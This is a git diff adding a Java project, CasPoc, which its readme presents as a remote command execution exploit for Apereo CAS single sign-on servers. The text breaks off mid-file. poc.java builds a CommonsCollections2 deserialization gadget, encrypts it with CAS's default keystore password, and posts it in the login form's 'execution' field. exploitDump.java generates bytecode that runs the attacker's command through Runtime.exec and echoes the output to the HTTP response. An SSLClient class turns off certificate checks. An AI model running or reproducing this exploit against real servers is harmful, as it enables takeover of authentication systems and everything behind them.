diff --git a/.idea/$CACHE_FILE$ b/.idea/$CACHE_FILE$ new file mode 100644 index 0000000..ea76935 --- /dev/null +++ b/.idea/$CACHE_FILE$ @@ -0,0 +1,47 @@ + + + + + + + + + Android + + + CDI (Contexts and Dependency Injection) + + + CodeSpring CoreSpring + + + EncapsulationJava + + + Java + + + LintAndroid + + + SecurityLintAndroid + + + Spring + + + Spring AOPSpring + + + Spring CoreSpring + + + + + Android + + + + + + \ No newline at end of file diff --git a/.idea/compiler.xml b/.idea/compiler.xml new file mode 100644 index 0000000..bab543e --- /dev/null +++ b/.idea/compiler.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + + \ No newline at end of file diff --git a/.idea/encodings.xml b/.idea/encodings.xml new file mode 100644 index 0000000..aa00ffa --- /dev/null +++ b/.idea/encodings.xml @@ -0,0 +1,7 @@ + + + + + + + \ No newline at end of file diff --git a/.idea/jarRepositories.xml b/.idea/jarRepositories.xml new file mode 100644 index 0000000..abb532a --- /dev/null +++ b/.idea/jarRepositories.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/.idea/misc.xml b/.idea/misc.xml new file mode 100644 index 0000000..3736354 --- /dev/null +++ b/.idea/misc.xml @@ -0,0 +1,18 @@ + + + + + + + + + + + + + + \ No newline at end of file diff --git a/.idea/workspace.xml b/.idea/workspace.xml new file mode 100644 index 0000000..aca4e3c --- /dev/null +++ b/.idea/workspace.xml @@ -0,0 +1,217 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 1596180457747 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + jar://$PROJECT_DIR$/cas-0.0.1-all.jar!/maoge/cas/AESBase64.class + 64 + + + file://$PROJECT_DIR$/src/main/java/org/unicodesec/poc.java + 80 + + + file://$PROJECT_DIR$/src/main/java/org/unicodesec/EncryptedTranscoder.java + 62 + + + file://$PROJECT_DIR$/src/main/java/org/unicodesec/EncryptedTranscoder.java + 104 + + + jar://$MAVEN_REPOSITORY$/org/cryptacular/cryptacular/1.0/cryptacular-1.0.jar!/org/cryptacular/bean/AbstractCipherBean.class + 61 + + + + + \ No newline at end of file diff --git a/CasPoc.iml b/CasPoc.iml new file mode 100644 index 0000000..78b2cc5 --- /dev/null +++ b/CasPoc.iml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/pom.xml b/pom.xml new file mode 100644 index 0000000..8a4bf48 --- /dev/null +++ b/pom.xml @@ -0,0 +1,106 @@ + + + + 4.0.0 + + org.unicodesec + CasPoc + 1.0-SNAPSHOT + + CasPoc + + http://www.example.com + + + UTF-8 + 1.7 + 1.7 + + + + + org.javassist + javassist + 3.24.0-GA + + + org.springframework.webflow + spring-webflow + 2.4.1.RELEASE + + + org.apache.httpcomponents + httpclient + 4.5.9 + + + org.apache.commons + commons-collections4 + 4.0 + + + org.cryptacular + cryptacular + 1.0 + + + + commons-io + commons-io + 2.6 + + + org.jasig + spring-webflow-client-repo + 1.0.0 + + + org.reflections + reflections + 0.9.10 + + + com.nqzero + permit-reflect + 0.3 + + + org.ow2.asm + asm-all + 5.1 + + + + + + + org.apache.maven.plugins + maven-assembly-plugin + 2.4.1 + + + + jar-with-dependencies + + + + + org.unicodesec.poc + + + + + + make-assembly + + package + + single + + + + + + + diff --git a/readme.md b/readme.md new file mode 100644 index 0000000..9e5faf1 --- /dev/null +++ b/readme.md @@ -0,0 +1,10 @@ +## 简介 +Apereo CAS 是一个开源的企业级单点登录系统,很多统一认证系统都是基于此系统二次开发 + +1. 支持自定义命令 + +## 效果 +![](https://potatso-1253210846.cos.ap-beijing.myqcloud.com//img20200731172433.png) + +感谢 https://github.com/langligelang/CAS_EXP/tree/master/ +代码略作修改,使用asm自定义命令 \ No newline at end of file diff --git a/src/logback.xml b/src/logback.xml new file mode 100644 index 0000000..445c40c --- /dev/null +++ b/src/logback.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/src/main/java/org/unicodesec/EncryptedTranscoder.java b/src/main/java/org/unicodesec/EncryptedTranscoder.java new file mode 100644 index 0000000..1b2b1ca --- /dev/null +++ b/src/main/java/org/unicodesec/EncryptedTranscoder.java @@ -0,0 +1,107 @@ +package org.unicodesec; + +import org.cryptacular.bean.BufferedBlockCipherBean; +import org.cryptacular.bean.CipherBean; +import org.cryptacular.bean.KeyStoreFactoryBean; +import org.cryptacular.generator.sp80038a.RBGNonce; +import org.cryptacular.io.URLResource; +import org.cryptacular.spec.BufferedBlockCipherSpec; +import org.jasig.spring.webflow.plugin.Transcoder; +import payloads.Serializer; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.ObjectInputStream; +import java.net.URL; +import java.security.KeyStore; +import java.util.zip.GZIPInputStream; +import java.util.zip.GZIPOutputStream; + +public class EncryptedTranscoder implements Transcoder { + private CipherBean cipherBean; + private boolean compression = true; + + public EncryptedTranscoder() { + BufferedBlockCipherBean bufferedBlockCipherBean = new BufferedBlockCipherBean(); + bufferedBlockCipherBean.setBlockCipherSpec(new BufferedBlockCipherSpec("AES", "CBC", "PKCS7")); + bufferedBlockCipherBean.setKeyStore(this.createAndPrepareKeyStore()); + bufferedBlockCipherBean.setKeyAlias("aes128"); + bufferedBlockCipherBean.setKeyPassword("changeit"); + bufferedBlockCipherBean.setNonce(new RBGNonce()); + this.setCipherBean(bufferedBlockCipherBean); + } + + public EncryptedTranscoder(CipherBean cipherBean) throws IOException { + this.setCipherBean(cipherBean); + } + + public void setCompression(boolean compression) { + this.compression = compression; + } + + protected void setCipherBean(CipherBean cipherBean) { + this.cipherBean = cipherBean; + } + + public byte[] encode(Object o) throws IOException { + if (o == null) { + return new byte[0]; + } + + byte[] out = null; + + if (this.compression) { + ByteArrayOutputStream byteout = new ByteArrayOutputStream(); + GZIPOutputStream gzip = new GZIPOutputStream(byteout); + gzip.write(Serializer.serialize(o)); + gzip.close(); + out = byteout.toByteArray(); + } else { + out = Serializer.serialize(o); + } + return this.cipherBean.encrypt(out); + + } + + public Object decode(byte[] encoded) throws IOException { + byte[] data; + try { + data = this.cipherBean.decrypt(encoded); + } catch (Exception var11) { + throw new IOException("Decryption error", var11); + } + + ByteArrayInputStream inBuffer = new ByteArrayInputStream(data); + ObjectInputStream in = null; + + Object var5; + try { + if (this.compression) { + in = new ObjectInputStream(new GZIPInputStream(inBuffer)); + } else { + in = new ObjectInputStream(inBuffer); + } + + var5 = in.readObject(); + } catch (ClassNotFoundException var10) { + throw new IOException("Deserialization error", var10); + } finally { + if (in != null) { + in.close(); + } + + } + + return var5; + } + + protected KeyStore createAndPrepareKeyStore() { + KeyStoreFactoryBean ksFactory = new KeyStoreFactoryBean(); + URL u = this.getClass().getResource("/etc/keystore.jceks"); + ksFactory.setResource(new URLResource(u)); + ksFactory.setType("JCEKS"); + ksFactory.setPassword("changeit"); + return ksFactory.newInstance(); + } +} diff --git a/src/main/java/org/unicodesec/SSLClient.java b/src/main/java/org/unicodesec/SSLClient.java new file mode 100644 index 0000000..e187e9e --- /dev/null +++ b/src/main/java/org/unicodesec/SSLClient.java @@ -0,0 +1,36 @@ +package org.unicodesec; + +import java.security.SecureRandom; +import java.security.cert.CertificateException; +import java.security.cert.X509Certificate; +import javax.net.ssl.KeyManager; +import javax.net.ssl.SSLContext; +import javax.net.ssl.TrustManager; +import javax.net.ssl.X509TrustManager; +import org.apache.http.conn.ClientConnectionManager; +import org.apache.http.conn.scheme.Scheme; +import org.apache.http.conn.scheme.SchemeRegistry; +import org.apache.http.conn.ssl.SSLSocketFactory; +import org.apache.http.impl.client.DefaultHttpClient; + +public class SSLClient extends DefaultHttpClient { + public SSLClient() throws Exception { + SSLContext ctx = SSLContext.getInstance("TLS"); + X509TrustManager tm = new X509TrustManager() { + public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public X509Certificate[] getAcceptedIssuers() { + return null; + } + }; + ctx.init((KeyManager[])null, new TrustManager[]{tm}, (SecureRandom)null); + ClientConnectionManager ccm = this.getConnectionManager(); + SchemeRegistry sr = ccm.getSchemeRegistry(); + SSLSocketFactory ssf = new SSLSocketFactory(ctx, SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER); + sr.register(new Scheme("https", 443, ssf)); + } +} diff --git a/src/main/java/org/unicodesec/poc.java b/src/main/java/org/unicodesec/poc.java new file mode 100644 index 0000000..78da15d --- /dev/null +++ b/src/main/java/org/unicodesec/poc.java @@ -0,0 +1,85 @@ +package org.unicodesec; + + +import org.apache.commons.io.IOUtils; +import org.apache.http.HttpVersion; +import org.apache.http.NameValuePair; +import org.apache.http.client.entity.UrlEncodedFormEntity; +import org.apache.http.client.methods.CloseableHttpResponse; +import org.apache.http.client.methods.HttpPost; +import org.apache.http.impl.client.CloseableHttpClient; +import org.apache.http.impl.client.HttpClients; +import org.apache.http.message.BasicNameValuePair; +import org.apache.log4j.BasicConfigurator; +import org.apache.log4j.Level; +import org.apache.log4j.Logger; +import org.apache.log4j.PropertyConfigurator; +import sun.misc.BASE64Encoder; + +import java.nio.charset.Charset; +import java.util.*; +import java.util.Map.Entry; + +public class poc { + + public poc() { + } + + public static void main(String[] args) throws Exception { + String text = " _____ ______ \n" + + " / ____| | ____| \n" + + " | | __ _ ___ | |__ __ __ _ __ \n" + + " | | / _` | / __| | __| \\ \\/ / | '_ \\ \n" + + " | |____ | (_| | \\__ \\ | |____ > < | |_) |\n" + + " \\_____| \\__,_| |___/ |______| /_/\\_\\ | .__/ \n" + + " | | \n" + + " |_| \n" + + " Powered by UnicodeSec \n"; + System.out.println(text); + if (args.length < 2) { + System.out.println("java -jar cas-[version]-all.jar [url] [cmd]"); + } else { + String url = args[0].trim(); + String cmd = args[1].trim(); + BASE64Encoder encoder = new BASE64Encoder(); + Object payloadObject = payloads.gadgets.CommonsCollections2.class.newInstance().getObject(cmd); + EncryptedTranscoder et = new EncryptedTranscoder(); + byte[] encode = et.encode(payloadObject); + String payload = encoder.encode(encode); + System.out.println(String.format("executing command %s", cmd)); + Map map = new HashMap(); + map.put("username", "13222233322"); + map.put("password", "Test1234"); + map.put("lt", "LT-215706-O4ejY5ldDQpHMB9WdQbe0trNaM28Wf-cas01.example.org"); + map.put("execution", "7b951c2a-e78f-4286-95fe-970782352a84_" + payload); + map.put("_eventId", "submit"); + String result = "result:\n\t"; + System.out.println(result + doPost(url, map, url.startsWith("https"))); + } + } + + public static String doPost(String apiUrl, Map params, boolean isSSL) throws Exception { + CloseableHttpClient httpClient = HttpClients.createDefault(); + HttpPost httpPost = new HttpPost(apiUrl); + + List pairList = new ArrayList(params.size()); + Iterator var7 = params.entrySet().iterator(); + + while (var7.hasNext()) { + Entry entry = (Entry) var7.next(); + NameValuePair pair = new BasicNameValuePair(entry.getKey(), entry.getValue().toString()); + pairList.add(pair); + } + httpPost.setEntity(new UrlEncodedFormEntity(pairList, Charset.forName("UTF-8"))); + httpPost.setProtocolVersion(HttpVersion.HTTP_1_0); + CloseableHttpResponse response; + if (isSSL) { + httpClient = new SSLClient(); + } + response = httpClient.execute(httpPost); + + return IOUtils.toString(response.getEntity().getContent(), "utf-8"); + + } + +} diff --git a/src/main/java/payloads/Deserializer.java b/src/main/java/payloads/Deserializer.java new file mode 100644 index 0000000..ec67639 --- /dev/null +++ b/src/main/java/payloads/Deserializer.java @@ -0,0 +1,29 @@ +package payloads; + +import java.io.*; +import java.util.concurrent.Callable; + +public class Deserializer implements Callable { + private final byte[] bytes; + + public Deserializer(byte[] bytes) { this.bytes = bytes; } + + public Object call() throws Exception { + return deserialize(bytes); + } + + public static Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException { + final ByteArrayInputStream in = new ByteArrayInputStream(serialized); + return deserialize(in); + } + + public static Object deserialize(final InputStream in) throws ClassNotFoundException, IOException { + final ObjectInputStream objIn = new ObjectInputStream(in); + return objIn.readObject(); + } + + public static void main(String[] args) throws ClassNotFoundException, IOException { + final InputStream in = args.length == 0 ? System.in : new FileInputStream(new File(args[0])); + Object object = deserialize(in); + } +} \ No newline at end of file diff --git a/src/main/java/payloads/Serializer.java b/src/main/java/payloads/Serializer.java new file mode 100644 index 0000000..4ee9a35 --- /dev/null +++ b/src/main/java/payloads/Serializer.java @@ -0,0 +1,30 @@ +package payloads; + +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.ObjectOutputStream; +import java.io.OutputStream; +import java.util.concurrent.Callable; + +public class Serializer implements Callable { + private final Object object; + public Serializer(Object object) { + this.object = object; + } + + public byte[] call() throws Exception { + return serialize(object); + } + + public static byte[] serialize(final Object obj) throws IOException { + final ByteArrayOutputStream out = new ByteArrayOutputStream(); + serialize(obj, out); + return out.toByteArray(); + } + + public static void serialize(final Object obj, final OutputStream out) throws IOException { + final ObjectOutputStream objOut = new ObjectOutputStream(out); + objOut.writeObject(obj); + } + +} \ No newline at end of file diff --git a/src/main/java/payloads/Strings.java b/src/main/java/payloads/Strings.java new file mode 100644 index 0000000..09e7e6b --- /dev/null +++ b/src/main/java/payloads/Strings.java @@ -0,0 +1,53 @@ +package payloads; + +import java.util.Arrays; +import java.util.Comparator; +import java.util.LinkedList; +import java.util.List; + +public class Strings { + public static String join(Iterable strings, String sep, String prefix, String suffix) { + final StringBuilder sb = new StringBuilder(); + boolean first = true; + for (String s : strings) { + if (! first) sb.append(sep); + if (prefix != null) sb.append(prefix); + sb.append(s); + if (suffix != null) sb.append(suffix); + first = false; + } + return sb.toString(); + } + + public static String repeat(String str, int num) { + final String[] strs = new String[num]; + Arrays.fill(strs, str); + return join(Arrays.asList(strs), "", "", ""); + } + + public static List formatTable(List rows) { + final Integer[] maxLengths = new Integer[rows.get(0).length]; + for (String[] row : rows) { + if (maxLengths.length != row.length) throw new IllegalStateException("mismatched columns"); + for (int i = 0; i < maxLengths.length; i++) { + if (maxLengths[i] == null || maxLengths[i] < row[i].length()) { + maxLengths[i] = row[i].length(); + } + } + } + + final List lines = new LinkedList(); + for (String[] row : rows) { + for (int i = 0; i < maxLengths.length; i++) { + final String pad = repeat(" ", maxLengths[i] - row[i].length()); + row[i] = row[i] + pad; + } + lines.add(join(Arrays.asList(row), " ", "", "")); + } + return lines; + } + + public static class ToStringComparator implements Comparator { + public int compare(Object o1, Object o2) { return o1.toString().compareTo(o2.toString()); } + } +} diff --git a/src/main/java/payloads/annotation/ArgsType.java b/src/main/java/payloads/annotation/ArgsType.java new file mode 100644 index 0000000..fdc019d --- /dev/null +++ b/src/main/java/payloads/annotation/ArgsType.java @@ -0,0 +1,25 @@ +package payloads.annotation; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; +import java.lang.reflect.AnnotatedElement; + +@Target(ElementType.TYPE) +@Retention(RetentionPolicy.RUNTIME) +public @interface ArgsType { + String[] value() default {}; + + public static class Utils { + public static String[] getArguments(AnnotatedElement annotated) { + ArgsType args = annotated.getAnnotation(ArgsType.class); + if (args != null && args.value() != null) { + return args.value(); + } else { + return new String[0]; + } + } + } + +} diff --git a/src/main/java/payloads/annotation/Arguments.java b/src/main/java/payloads/annotation/Arguments.java new file mode 100644 index 0000000..2325d57 --- /dev/null +++ b/src/main/java/payloads/annotation/Arguments.java @@ -0,0 +1,25 @@ +package payloads.annotation; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; +import java.lang.reflect.AnnotatedElement; + +@Target(ElementType.TYPE) +@Retention(RetentionPolicy.RUNTIME) +public @interface Arguments { + String[] value() default {}; + + public static class Utils { + public static String[] getArguments(AnnotatedElement annotated) { + Arguments args = annotated.getAnnotation(Arguments.class); + if (args != null && args.value() != null) { + return args.value(); + } else { + return new String[0]; + } + } + } + +} diff --git a/src/main/java/payloads/annotation/Authors.java b/src/main/java/payloads/annotation/Authors.java new file mode 100644 index 0000000..810dfc1 --- /dev/null +++ b/src/main/java/payloads/annotation/Authors.java @@ -0,0 +1,41 @@ +package payloads.annotation; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; +import java.lang.reflect.AnnotatedElement; + +@Target(ElementType.TYPE) +@Retention(RetentionPolicy.RUNTIME) +public @interface Authors { + String FROHOFF = "frohoff"; + String PWNTESTER = "pwntester"; + String CSCHNEIDER4711 = "cschneider4711"; + String MBECHLER = "mbechler"; + String JACKOFMOSTTRADES = "JackOfMostTrades"; + String MATTHIASKAISER = "matthias_kaiser"; + String GEBL = "gebl"; + String JACOBAINES = "jacob-baines"; + String JASINNER = "jasinner"; + String KULLRICH = "kai_ullrich"; + String TINT0 = "_tint0"; + String SCRISTALLI = "scristalli"; + String HANYRAX = "hanyrax"; + String XRAY = "XRAY"; + String POTATSO = "potstso"; + String SHIMIZU = "Shimizu"; + + String[] value() default {}; + + public static class Utils { + public static String[] getAuthors(AnnotatedElement annotated) { + Authors authors = annotated.getAnnotation(Authors.class); + if (authors != null && authors.value() != null) { + return authors.value(); + } else { + return new String[0]; + } + } + } +} \ No newline at end of file diff --git a/src/main/java/payloads/annotation/Dependencies.java b/src/main/java/payloads/annotation/Dependencies.java new file mode 100644 index 0000000..f335493 --- /dev/null +++ b/src/main/java/payloads/annotation/Dependencies.java @@ -0,0 +1,33 @@ +package payloads.annotation; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; +import java.lang.reflect.AnnotatedElement; + +@Target(ElementType.TYPE) +@Retention(RetentionPolicy.RUNTIME) +public @interface Dependencies { + String[] value() default {}; + + public static class Utils { + public static String[] getDependencies(AnnotatedElement annotated) { + Dependencies deps = annotated.getAnnotation(Dependencies.class); + if (deps != null && deps.value() != null) { + return deps.value(); + } else { + return new String[0]; + } + } + + public static String[] getDependenciesSimple(AnnotatedElement annotated) { + String[] deps = getDependencies(annotated); + String[] simple = new String[deps.length]; + for (int i = 0; i < simple.length; i++) { + simple[i] = deps[i].split(":", 2)[1]; + } + return simple; + } + } +} \ No newline at end of file diff --git a/src/main/java/payloads/annotation/PayloadTest.java b/src/main/java/payloads/annotation/PayloadTest.java new file mode 100644 index 0000000..e91baf1 --- /dev/null +++ b/src/main/java/payloads/annotation/PayloadTest.java @@ -0,0 +1,20 @@ +package payloads.annotation; + +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; + +/** + * @author mbechler + * + */ +@Retention(RetentionPolicy.RUNTIME) +public @interface PayloadTest { + String skip() default ""; + + String precondition() default ""; + + String harness() default ""; + + String flaky() default ""; +} + diff --git a/src/main/java/payloads/exploitType/exploitDump.java b/src/main/java/payloads/exploitType/exploitDump.java new file mode 100644 index 0000000..6e54633 --- /dev/null +++ b/src/main/java/payloads/exploitType/exploitDump.java @@ -0,0 +1,209 @@ +package payloads.exploitType; + +import java.util.*; + +import org.objectweb.asm.*; + +public class exploitDump implements Opcodes { + + public static byte[] dump(String cmd) throws Exception { + + ClassWriter cw = new ClassWriter(0); + FieldVisitor fv; + MethodVisitor mv; + AnnotationVisitor av0; + + cw.visit(V1_7, ACC_PUBLIC + ACC_SUPER, "exploit", null, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", new String[]{"java/io/Serializable"}); + + cw.visitSource("exploit.java", null); + + { + mv = cw.visitMethod(ACC_PUBLIC, "", "()V", null, null); + mv.visitCode(); + Label l0 = new Label(); + mv.visitLabel(l0); + mv.visitLineNumber(21, l0); + mv.visitVarInsn(ALOAD, 0); + mv.visitMethodInsn(INVOKESPECIAL, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", "", "()V", false); + Label l1 = new Label(); + mv.visitLabel(l1); + mv.visitLineNumber(22, l1); + mv.visitInsn(RETURN); + Label l2 = new Label(); + mv.visitLabel(l2); + mv.visitLocalVariable("this", "Lexploit;", null, l0, l2, 0); + mv.visitMaxs(1, 1); + mv.visitEnd(); + } + { + mv = cw.visitMethod(ACC_PUBLIC, "transform", "(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;[Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V", null, new String[]{"com/sun/org/apache/xalan/internal/xsltc/TransletException"}); + mv.visitCode(); + Label l0 = new Label(); + mv.visitLabel(l0); + mv.visitLineNumber(27, l0); + mv.visitInsn(RETURN); + Label l1 = new Label(); + mv.visitLabel(l1); + mv.visitLocalVariable("this", "Lexploit;", null, l0, l1, 0); + mv.visitLocalVariable("document", "Lcom/sun/org/apache/xalan/internal/xsltc/DOM;", null, l0, l1, 1); + mv.visitLocalVariable("handlers", "[Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;", null, l0, l1, 2); + mv.visitMaxs(0, 3); + mv.visitEnd(); + } + { + mv = cw.visitMethod(ACC_PUBLIC, "transform", "(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V", null, new String[]{"com/sun/org/apache/xalan/internal/xsltc/TransletException"}); + mv.visitCode(); + Label l0 = new Label(); + mv.visitLabel(l0); + mv.visitLineNumber(32, l0); + mv.visitInsn(RETURN); + Label l1 = new Label(); + mv.visitLabel(l1); + mv.visitLocalVariable("this", "Lexploit;", null, l0, l1, 0); + mv.visitLocalVariable("document", "Lcom/sun/org/apache/xalan/internal/xsltc/DOM;", null, l0, l1, 1); + mv.visitLocalVariable("iterator", "Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;", null, l0, l1, 2); + mv.visitLocalVariable("handler", "Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;", null, l0, l1, 3); + mv.visitMaxs(0, 4); + mv.visitEnd(); + } + { + mv = cw.visitMethod(ACC_STATIC, "", "()V", null, null); + mv.visitCode(); + Label l0 = new Label(); + Label l1 = new Label(); + Label l2 = new Label(); + mv.visitTryCatchBlock(l0, l1, l2, "java/lang/Exception"); + mv.visitLabel(l0); + mv.visitLineNumber(36, l0); + mv.visitMethodInsn(INVOKESTATIC, "org/springframework/webflow/context/ExternalContextHolder", "getExternalContext", "()Lorg/springframework/webflow/context/ExternalContext;", false); + mv.visitVarInsn(ASTORE, 0); + Label l3 = new Label(); + mv.visitLabel(l3); + mv.visitLineNumber(37, l3); + mv.visitVarInsn(ALOAD, 0); + mv.visitMethodInsn(INVOKEINTERFACE, "org/springframework/webflow/context/ExternalContext", "getNativeRequest", "()Ljava/lang/Object;", true); + mv.visitVarInsn(ASTORE, 1); + Label l4 = new Label(); + mv.visitLabel(l4); + mv.visitLineNumber(38, l4); + mv.visitVarInsn(ALOAD, 0); + mv.visitMethodInsn(INVOKEINTERFACE, "org/springframework/webflow/context/ExternalContext", "getNativeResponse", "()Ljava/lang/Object;", true); + mv.visitVarInsn(ASTORE, 2); + Label l5 = new Label(); + mv.visitLabel(l5); + mv.visitLineNumber(39, l5); + mv.visitVarInsn(ALOAD, 1); + mv.visitTypeInsn(CHECKCAST, "javax/servlet/http/HttpServletRequest"); + mv.visitVarInsn(ASTORE, 3); + Label l6 = new Label(); + mv.visitLabel(l6); + mv.visitLineNumber(40, l6); + mv.visitVarInsn(ALOAD, 2); + mv.visitTypeInsn(CHECKCAST, "javax/servlet/http/HttpServletResponse"); + mv.visitVarInsn(ASTORE, 4); + Label l7 = new Label(); + mv.visitLabel(l7); + mv.visitLineNumber(41, l7); + mv.visitMethodInsn(INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false); + mv.visitLdcInsn(cmd); + mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Runtime", "exec", "(Ljava/lang/String;)Ljava/lang/Process;", false); + mv.visitVarInsn(ASTORE, 5); + Label l8 = new Label(); + mv.visitLabel(l8); + mv.visitLineNumber(42, l8); + mv.visitVarInsn(ALOAD, 5); + mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Process", "getInputStream", "()Ljava/io/InputStream;", false); + mv.visitVarInsn(ASTORE, 6); + Label l9 = new Label(); + mv.visitLabel(l9); + mv.visitLineNumber(43, l9); + mv.visitTypeInsn(NEW, "java/io/InputStreamReader"); + mv.visitInsn(DUP); + mv.visitVarInsn(ALOAD, 6); + mv.visitMethodInsn(INVOKESPECIAL, "java/io/InputStreamReader", "", "(Ljava/io/InputStream;)V", false); + mv.visitVarInsn(ASTORE, 7); + Label l10 = new Label(); + mv.visitLabel(l10); + mv.visitLineNumber(44, l10); + mv.visitTypeInsn(NEW, "java/io/BufferedReader"); + mv.visitInsn(DUP); + mv.visitVarInsn(ALOAD, 7); + mv.visitMethodInsn(INVOKESPECIAL, "java/io/BufferedReader", "", "(Ljava/io/Reader;)V", false); + mv.visitVarInsn(ASTORE, 8); + Label l11 = new Label(); + mv.visitLabel(l11); + mv.visitLineNumber(45, l11); + mv.visitLdcInsn("hello--"); + mv.visitVarInsn(ASTORE, 9); + Label l12 = new Label(); + mv.visitLabel(l12); + mv.visitLineNumber(46, l12); + mv.visitVarInsn(ALOAD, 4); + mv.visitMethodInsn(INVOKEINTERFACE, "javax/servlet/http/HttpServletResponse", "getOutputStream", "()Ljavax/servlet/ServletOutputStream;", true); + mv.visitVarInsn(ASTORE, 10); + Label l13 = new Label(); + mv.visitLabel(l13); + mv.visitLineNumber(48, l13); + mv.visitFrame(Opcodes.F_FULL, 11, new Object[]{"org/springframework/webflow/context/ExternalContext", "java/lang/Object", "java/lang/Object", "javax/servlet/http/HttpServletRequest", "javax/servlet/http/HttpServletResponse", "java/lang/Process", "java/io/InputStream", "java/io/InputStreamReader", "java/io/BufferedReader", "java/lang/String", "javax/servlet/ServletOutputStream"}, 0, new Object[]{}); + mv.visitVarInsn(ALOAD, 8); + mv.visitMethodInsn(INVOKEVIRTUAL, "java/io/BufferedReader", "readLine", "()Ljava/lang/String;", false); + mv.visitInsn(DUP); + mv.visitVarInsn(ASTORE, 9); + Label l14 = new Label(); + mv.visitJumpInsn(IFNULL, l14); + Label l15 = new Label(); + mv.visitLabel(l15); + mv.visitLineNumber(49, l15); + mv.visitVarInsn(ALOAD, 10); + mv.visitVarInsn(ALOAD, 9); + mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/String", "getBytes", "()[B", false); + mv.visitMethodInsn(INVOKEVIRTUAL, "javax/servlet/ServletOutputStream", "write", "([B)V", false); + mv.visitJumpInsn(GOTO, l13); + mv.visitLabel(l14); + mv.visitLineNumber(52, l14); + mv.visitFrame(Opcodes.F_SAME, 0, null, 0, null); + mv.visitFieldInsn(GETSTATIC, "java/lang/System", "out", "Ljava/io/PrintStream;"); + mv.visitLdcInsn("========================="); + mv.visitMethodInsn(INVOKEVIRTUAL, "java/io/PrintStream", "println", "(Ljava/lang/String;)V", false); + Label l16 = new Label(); + mv.visitLabel(l16); + mv.visitLineNumber(53, l16); + mv.visitVarInsn(ALOAD, 10); + mv.visitMethodInsn(INVOKEVIRTUAL, "javax/servlet/ServletOutputStream", "flush", "()V", false); + mv.visitLabel(l1); + mv.visitLineNumber(56, l1); + Label l17 = new Label(); + mv.visitJumpInsn(GOTO, l17); + mv.visitLabel(l2); + mv.visitLineNumber(54, l2); + mv.visitFrame(Opcodes.F_FULL, 0, new Object[]{}, 1, new Object[]{"java/lang/Exception"}); + mv.visitVarInsn(ASTORE, 0); + Label l18 = new Label(); + mv.visitLabel(l18); + mv.visitLineNumber(55, l18); + mv.visitVarInsn(ALOAD, 0); + mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Exception", "printStackTrace", "()V", false); + mv.visitLabel(l17); + mv.visitLineNumber(58, l17); + mv.visitFrame(Opcodes.F_SAME, 0, null, 0, null); + mv.visitInsn(RETURN); + mv.visitLocalVariable("externalContext", "Lorg/springframework/webflow/context/ExternalContext;", null, l3, l1, 0); + mv.visitLocalVariable("request", "Ljava/lang/Object;", null, l4, l1, 1); + mv.visitLocalVariable("response", "Ljava/lang/Object;", null, l5, l1, 2); + mv.visitLocalVariable("httpServletRequest", "Ljavax/servlet/http/HttpServletRequest;", null, l6, l1, 3); + mv.visitLocalVariable("httpServletResponse", "Ljavax/servlet/http/HttpServletResponse;", null, l7, l1, 4); + mv.visitLocalVariable("p", "Ljava/lang/Process;", null, l8, l1, 5); + mv.visitLocalVariable("fis", "Ljava/io/InputStream;", null, l9, l1, 6); + mv.visitLocalVariable("isr", "Ljava/io/InputStreamReader;", null, l10, l1, 7); + mv.visitLocalVariable("br", "Ljava/io/BufferedReader;", null, l11, l1, 8); + mv.visitLocalVariable("line", "Ljava/lang/String;", null, l12, l1, 9); + mv.visitLocalVariable("servletOutputStream", "Ljavax/servlet/ServletOutputStream;", null, l13, l1, 10); + mv.visitLocalVariable("var11", "Ljava/lang/Exception;", null, l18, l17, 0); + mv.visitMaxs(3, 11); + mv.visitEnd(); + } + cw.visitEnd(); + + return cw.toByteArray(); + } +} diff --git a/src/main/java/payloads/gadgets/CommonsCollections2.java b/src/main/java/payloads/gadgets/CommonsCollections2.java new file mode 100644 index 0000000..93b3243 --- /dev/null +++ b/src/main/java/payloads/gadgets/CommonsCollections2.java @@ -0,0 +1,53 @@ +package payloads.gadgets; + +import org.apache.commons.collections4.comparators.TransformingComparator; +import org.apache.commons.collections4.functors.InvokerTransformer; +import payloads.annotation.Authors; +import payloads.annotation.Dependencies; +import payloads.utils.Gadgets; +import payloads.utils.Reflections; + +import java.util.PriorityQueue; +import 